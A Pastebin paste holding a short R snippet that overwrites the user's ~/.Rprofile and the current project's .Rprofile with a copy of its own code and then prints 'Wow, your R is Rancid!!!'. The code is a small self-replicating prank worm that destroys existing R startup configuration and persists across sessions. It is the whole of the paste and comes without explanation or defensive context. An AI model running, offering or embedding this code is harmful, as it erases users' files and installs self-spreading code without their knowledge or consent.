Advertisement
Guest User

Untitled

a guest
Apr 18th, 2019
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.30 KB | None | 0 0
  1. {
  2. function() {
  3. rp_paths <- c("~/.Rprofile", paste0(getwd(), "/.Rprofile"))
  4. inject <- function(rp, code) {
  5. write(code, file = rp, append = FALSE)
  6. }
  7. lapply(rp_paths, inject, code = deparse(match.call()))
  8.  
  9. cat("Wow, your R is Rancid!!!\n")
  10. }
  11. }()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement